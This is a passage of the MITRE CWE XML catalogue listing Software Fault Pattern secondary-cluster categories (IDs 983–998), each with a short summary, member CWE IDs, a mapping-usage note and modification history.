					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="983" Name="SFP Secondary Cluster: Faulty Resource Use" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster (SFP15).</Summary>
         <Relationships>
            <Has_Member CWE_ID="416" View_ID="888"/>
            <Has_Member CWE_ID="672" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="984" Name="SFP Secondary Cluster: Life Cycle" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="664" View_ID="888"/>
            <Has_Member CWE_ID="666" View_ID="888"/>
            <Has_Member CWE_ID="675" View_ID="888"/>
            <Has_Member CWE_ID="694" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="985" Name="SFP Secondary Cluster: Unrestricted Consumption" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster (SFP13).</Summary>
         <Relationships>
            <Has_Member CWE_ID="400" View_ID="888"/>
            <Has_Member CWE_ID="674" View_ID="888"/>
            <Has_Member CWE_ID="770" View_ID="888"/>
            <Has_Member CWE_ID="774" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="986" Name="SFP Secondary Cluster: Missing Lock" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster (SFP19).</Summary>
         <Relationships>
            <Has_Member CWE_ID="364" View_ID="888"/>
            <Has_Member CWE_ID="366" View_ID="888"/>
            <Has_Member CWE_ID="368" View_ID="888"/>
            <Has_Member CWE_ID="413" View_ID="888"/>
            <Has_Member CWE_ID="414" View_ID="888"/>
            <Has_Member CWE_ID="543" View_ID="888"/>
            <Has_Member CWE_ID="567" View_ID="888"/>
            <Has_Member CWE_ID="609" View_ID="888"/>
            <Has_Member CWE_ID="662" View_ID="888"/>
            <Has_Member CWE_ID="663" View_ID="888"/>
            <Has_Member CWE_ID="667" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="987" Name="SFP Secondary Cluster: Multiple Locks/Unlocks" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster (SFP21).</Summary>
         <Relationships>
            <Has_Member CWE_ID="585" View_ID="888"/>
            <Has_Member CWE_ID="764" View_ID="888"/>
            <Has_Member CWE_ID="765" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="988" Name="SFP Secondary Cluster: Race Condition Window" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster (SFP20).</Summary>
         <Relationships>
            <Has_Member CWE_ID="362" View_ID="888"/>
            <Has_Member CWE_ID="363" View_ID="888"/>
            <Has_Member CWE_ID="367" View_ID="888"/>
            <Has_Member CWE_ID="370" View_ID="888"/>
            <Has_Member CWE_ID="638" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="989" Name="SFP Secondary Cluster: Unrestricted Lock" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster (SFP22).</Summary>
         <Relationships>
            <Has_Member CWE_ID="412" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="990" Name="SFP Secondary Cluster: Tainted Input to Command" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster (SFP24).</Summary>
         <Relationships>
            <Has_Member CWE_ID="102" View_ID="888"/>
            <Has_Member CWE_ID="103" View_ID="888"/>
            <Has_Member CWE_ID="104" View_ID="888"/>
            <Has_Member CWE_ID="105" View_ID="888"/>
            <Has_Member CWE_ID="106" View_ID="888"/>
            <Has_Member CWE_ID="107" View_ID="888"/>
            <Has_Member CWE_ID="108" View_ID="888"/>
            <Has_Member CWE_ID="109" View_ID="888"/>
            <Has_Member CWE_ID="110" View_ID="888"/>
            <Has_Member CWE_ID="112" View_ID="888"/>
            <Has_Member CWE_ID="113" View_ID="888"/>
            <Has_Member CWE_ID="130" View_ID="888"/>
            <Has_Member CWE_ID="134" View_ID="888"/>
            <Has_Member CWE_ID="138" View_ID="888"/>
            <Has_Member CWE_ID="140" View_ID="888"/>
            <Has_Member CWE_ID="141" View_ID="888"/>
            <Has_Member CWE_ID="142" View_ID="888"/>
            <Has_Member CWE_ID="143" View_ID="888"/>
            <Has_Member CWE_ID="144" View_ID="888"/>
            <Has_Member CWE_ID="145" View_ID="888"/>
            <Has_Member CWE_ID="146" View_ID="888"/>
            <Has_Member CWE_ID="147" View_ID="888"/>
            <Has_Member CWE_ID="148" View_ID="888"/>
            <Has_Member CWE_ID="149" View_ID="888"/>
            <Has_Member CWE_ID="150" View_ID="888"/>
            <Has_Member CWE_ID="151" View_ID="888"/>
            <Has_Member CWE_ID="152" View_ID="888"/>
            <Has_Member CWE_ID="153" View_ID="888"/>
            <Has_Member CWE_ID="154" View_ID="888"/>
            <Has_Member CWE_ID="155" View_ID="888"/>
            <Has_Member CWE_ID="156" View_ID="888"/>
            <Has_Member CWE_ID="157" View_ID="888"/>
            <Has_Member CWE_ID="158" View_ID="888"/>
            <Has_Member CWE_ID="159" View_ID="888"/>
            <Has_Member CWE_ID="160" View_ID="888"/>
            <Has_Member CWE_ID="161" View_ID="888"/>
            <Has_Member CWE_ID="162" View_ID="888"/>
            <Has_Member CWE_ID="163" View_ID="888"/>
            <Has_Member CWE_ID="164" View_ID="888"/>
            <Has_Member CWE_ID="165" View_ID="888"/>
            <Has_Member CWE_ID="183" View_ID="888"/>
            <Has_Member CWE_ID="184" View_ID="888"/>
            <Has_Member CWE_ID="185" View_ID="888"/>
            <Has_Member CWE_ID="186" View_ID="888"/>
            <Has_Member CWE_ID="444" View_ID="888"/>
            <Has_Member CWE_ID="553" View_ID="888"/>
            <Has_Member CWE_ID="554" View_ID="888"/>
            <Has_Member CWE_ID="564" View_ID="888"/>
            <Has_Member CWE_ID="601" View_ID="888"/>
            <Has_Member CWE_ID="611" View_ID="888"/>
            <Has_Member CWE_ID="619" View_ID="888"/>
            <Has_Member CWE_ID="621" View_ID="888"/>
            <Has_Member CWE_ID="624" View_ID="888"/>
            <Has_Member CWE_ID="625" View_ID="888"/>
            <Has_Member CWE_ID="626" View_ID="888"/>
            <Has_Member CWE_ID="627" View_ID="888"/>
            <Has_Member CWE_ID="641" View_ID="888"/>
            <Has_Member CWE_ID="643" View_ID="888"/>
            <Has_Member CWE_ID="644" View_ID="888"/>
            <Has_Member CWE_ID="646" View_ID="888"/>
            <Has_Member CWE_ID="652" View_ID="888"/>
            <Has_Member CWE_ID="687" View_ID="888"/>
            <Has_Member CWE_ID="707" View_ID="888"/>
            <Has_Member CWE_ID="74" View_ID="888"/>
            <Has_Member CWE_ID="75" View_ID="888"/>
            <Has_Member CWE_ID="76" View_ID="888"/>
            <Has_Member CWE_ID="77" View_ID="888"/>
            <Has_Member CWE_ID="78" View_ID="888"/>
            <Has_Member CWE_ID="79" View_ID="888"/>
            <Has_Member CWE_ID="80" View_ID="888"/>
            <Has_Member CWE_ID="81" View_ID="888"/>
            <Has_Member CWE_ID="82" View_ID="888"/>
            <Has_Member CWE_ID="83" View_ID="888"/>
            <Has_Member CWE_ID="84" View_ID="888"/>
            <Has_Member CWE_ID="85" View_ID="888"/>
            <Has_Member CWE_ID="86" View_ID="888"/>
            <Has_Member CWE_ID="87" View_ID="888"/>
            <Has_Member CWE_ID="88" View_ID="888"/>
            <Has_Member CWE_ID="89" View_ID="888"/>
            <Has_Member CWE_ID="90" View_ID="888"/>
            <Has_Member CWE_ID="91" View_ID="888"/>
            <Has_Member CWE_ID="93" View_ID="888"/>
            <Has_Member CWE_ID="95" View_ID="888"/>
            <Has_Member CWE_ID="96" View_ID="888"/>
            <Has_Member CWE_ID="97" View_ID="888"/>
            <Has_Member CWE_ID="99" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="991" Name="SFP Secondary Cluster: Tainted Input to Environment" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster (SFP27).</Summary>
         <Relationships>
            <Has_Member CWE_ID="114" View_ID="888"/>
            <Has_Member CWE_ID="427" View_ID="888"/>
            <Has_Member CWE_ID="470" View_ID="888"/>
            <Has_Member CWE_ID="471" View_ID="888"/>
            <Has_Member CWE_ID="472" View_ID="888"/>
            <Has_Member CWE_ID="473" View_ID="888"/>
            <Has_Member CWE_ID="494" View_ID="888"/>
            <Has_Member CWE_ID="622" View_ID="888"/>
            <Has_Member CWE_ID="673" View_ID="888"/>
            <Has_Member CWE_ID="94" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="992" Name="SFP Secondary Cluster: Faulty Input Transformation" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="116" View_ID="888"/>
            <Has_Member CWE_ID="166" View_ID="888"/>
            <Has_Member CWE_ID="167" View_ID="888"/>
            <Has_Member CWE_ID="168" View_ID="888"/>
            <Has_Member CWE_ID="172" View_ID="888"/>
            <Has_Member CWE_ID="173" View_ID="888"/>
            <Has_Member CWE_ID="174" View_ID="888"/>
            <Has_Member CWE_ID="175" View_ID="888"/>
            <Has_Member CWE_ID="176" View_ID="888"/>
            <Has_Member CWE_ID="177" View_ID="888"/>
            <Has_Member CWE_ID="178" View_ID="888"/>
            <Has_Member CWE_ID="179" View_ID="888"/>
            <Has_Member CWE_ID="180" View_ID="888"/>
            <Has_Member CWE_ID="181" View_ID="888"/>
            <Has_Member CWE_ID="182" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="993" Name="SFP Secondary Cluster: Incorrect Input Handling" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="198" View_ID="888"/>
            <Has_Member CWE_ID="228" View_ID="888"/>
            <Has_Member CWE_ID="229" View_ID="888"/>
            <Has_Member CWE_ID="230" View_ID="888"/>
            <Has_Member CWE_ID="231" View_ID="888"/>
            <Has_Member CWE_ID="232" View_ID="888"/>
            <Has_Member CWE_ID="233" View_ID="888"/>
            <Has_Member CWE_ID="234" View_ID="888"/>
            <Has_Member CWE_ID="235" View_ID="888"/>
            <Has_Member CWE_ID="236" View_ID="888"/>
            <Has_Member CWE_ID="237" View_ID="888"/>
            <Has_Member CWE_ID="238" View_ID="888"/>
            <Has_Member CWE_ID="239" View_ID="888"/>
            <Has_Member CWE_ID="240" View_ID="888"/>
            <Has_Member CWE_ID="241" View_ID="888"/>
            <Has_Member CWE_ID="351" View_ID="888"/>
            <Has_Member CWE_ID="354" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="994" Name="SFP Secondary Cluster: Tainted Input to Variable" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster (SFP25).</Summary>
         <Relationships>
            <Has_Member CWE_ID="15" View_ID="888"/>
            <Has_Member CWE_ID="20" View_ID="888"/>
            <Has_Member CWE_ID="454" View_ID="888"/>
            <Has_Member CWE_ID="496" View_ID="888"/>
            <Has_Member CWE_ID="502" View_ID="888"/>
            <Has_Member CWE_ID="566" View_ID="888"/>
            <Has_Member CWE_ID="606" View_ID="888"/>
            <Has_Member CWE_ID="616" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="995" Name="SFP Secondary Cluster: Feature" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Feature cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="447" View_ID="888"/>
            <Has_Member CWE_ID="448" View_ID="888"/>
            <Has_Member CWE_ID="449" View_ID="888"/>
            <Has_Member CWE_ID="450" View_ID="888"/>
            <Has_Member CWE_ID="451" View_ID="888"/>
            <Has_Member CWE_ID="549" View_ID="888"/>
            <Has_Member CWE_ID="655" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="996" Name="SFP Secondary Cluster: Security" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Security cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="356" View_ID="888"/>
            <Has_Member CWE_ID="357" View_ID="888"/>
            <Has_Member CWE_ID="446" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="997" Name="SFP Secondary Cluster: Information Loss" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Information Loss cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="221" View_ID="888"/>
            <Has_Member CWE_ID="222" View_ID="888"/>
            <Has_Member CWE_ID="223" View_ID="888"/>
            <Has_Member CWE_ID="224" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="998" Name="SFP Secondary Cluster: Glitch in Computation" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Glitch in Computation cluster (SFP1).</Summary>
         <Relationships>
            <Has_Member CWE_ID="128" View_ID="888"/>
            <Has_Member CWE_ID="190" View_ID="888"/>
            <Has_Member CWE_ID="191" View_ID="888"/>
            <Has_Member CWE_ID="194" View_ID="888"/>
            <Has_Member CWE_ID="195" View_ID="888"/>
            <Has_Member CWE_ID="196" View_ID="888"/>
